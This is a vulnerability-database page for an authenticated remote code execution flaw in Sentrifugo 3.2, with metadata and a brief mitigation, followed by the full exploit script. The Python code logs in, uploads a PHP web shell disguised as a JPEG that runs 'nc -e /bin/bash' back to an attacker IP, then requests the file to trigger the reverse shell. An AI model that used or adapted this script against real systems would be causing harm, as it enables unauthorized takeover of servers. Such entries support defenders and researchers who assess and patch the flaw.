Sentrifugo Version 3.2 - 'announcements' Remote Code Execution (Authenticated)

vendor:

Sentrifugo

by:

Fatih Çelik

7.5

CVSS

HIGH

Remote Code Execution

CWE

Product Name: Sentrifugo

Affected Version From: 3.2

Affected Version To: 3.2

Patch Exists: NO

Related CWE: N/A

CPE: a:sentrifugo:sentrifugo:3.2

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Kali Linux 2020.2

2020

Sentrifugo Version 3.2 – ‘announcements’ Remote Code Execution (Authenticated)

Sentrifugo version 3.2 is vulnerable to authenticated remote code execution. An attacker can upload a malicious PHP file to the application and trigger it to get a reverse shell. The attacker needs to have valid credentials to exploit this vulnerability.

Mitigation:

Ensure that the application is running the latest version of Sentrifugo and that all users have strong passwords.

Source

Exploit-DB raw data:

# Exploit Title: Sentrifugo Version 3.2 - 'announcements' Remote Code Execution (Authenticated)
# Google Dork: N/A
# Date: 2020.10.06
# Exploit Author: Fatih Çelik
# Vendor Homepage: https://sourceforge.net/projects/sentrifugo/
# Software Link: https://sourceforge.net/projects/sentrifugo/
# Blog: https://fatihhcelik.blogspot.com/2020/10/sentrifugo-version-32-rce-authenticated.html
# Version: 3.2
# Tested on: Kali Linux 2020.2
# CVE : N/A

import requests
from bs4 import BeautifulSoup
from ast import literal_eval

'''
You should change the below hardcoded inputs to get a reverse shell.
'''

login_url = "http://XXX.XXX.XXX.XXX/sentrifugo/index.php/index/loginpopupsave"
upload_url = "http://XXX.XXX.XXX.XXX/sentrifugo/index.php/announcements/uploadsave"
call_shell = "http://XXX.XXX.XXX.XXX/sentrifugo/public/uploads/ca_temp/"
username = "xxx"
password = "xxx"

attacker_ip = "XXX.XXX.XXX.XXX"
listener_port = "4444"

# Set proxy for debugging purposes

proxy = {"http": "http://XXX.XXX.XXX.XXX:8080"}

# Log in to the system

session = requests.Session()
request = session.get(login_url)
body = {"username":username,"password":password}
# session.post(login_url, data=body, proxies=proxy) 
session.post(login_url, data=body) # Send a request without proxy
print("Logged in to the application..")

# Upload the PHP shell
files = [
    ('myfile', 
        ('shell.php',
        '<?php system(\'nc.traditional {} {} -e /bin/bash\'); ?>'.format(attacker_ip,listener_port),
        'image/jpeg')
    )
]
# r = session.post(upload_url, files=files, proxies=proxy)
r = session.post(upload_url, files=files) # Send a request without proxy
response = r.content
dict_str = response.decode("UTF-8")
response = literal_eval(dict_str) # Convert bytes to dictionary
filename = response["filedata"]["new_name"]
url = call_shell + filename
print("PHP file is uploaded --> {}".format(url))

# Trigger the shell

session.get(url)